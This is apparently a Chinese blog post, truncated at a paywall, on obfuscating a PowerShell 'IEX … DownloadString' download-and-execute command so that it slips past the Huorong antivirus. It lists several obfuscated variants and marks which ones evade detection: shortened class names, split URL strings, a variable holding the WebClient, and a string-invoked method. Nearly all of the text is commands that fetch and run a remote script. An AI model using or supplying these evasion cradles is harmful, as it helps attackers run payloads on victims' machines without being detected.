本文介绍了如何使用基础混淆方法来避免火绒安全软件检测到PowerShell命令，包括替换对象名、拆分URL字符串、定义变量、替换函数调用以及使用Invoke方法。提供了多个实例展示这些混淆技术的应用，以实现命令的免杀执行。
基础混淆
原始语句（不免杀）
powershell “IEX (New-Object System.Net.WebClient).DownloadString(‘http://127.0.0.1/a.ps1’)"
AV：火绒
混淆测试
New-Object System.Net 类可以直接替换成 New-Object Net 类（不免杀）
powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/a.ps1')"
对于 DownloadString 函数中的 URL 字符串可以采用直接拼接的方式进行组合和拆分（不免杀）
powershll "IEX (New-Object Net.WebClient).DownloadString('ht'+'tp://127.0.0.1/a.ps1')"
定义一个变量，其值赋为New-Object（免杀）
powershell "$w=(New-Object Net.WebClient);IEX $w.DownloadString('ht'+'tp://127.0.0.1/a.ps1')"
用字符串DownloadString替换 DownloadString()函数（免杀）
powershell "IEX (New-Object Net.WebClient).('DownloadString')('h'+'ttp://127.0.0.1/a.ps1')"
使用 Invoke 调用方法（免杀）
最低0.47元/天 解锁文章
扫一扫
772
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
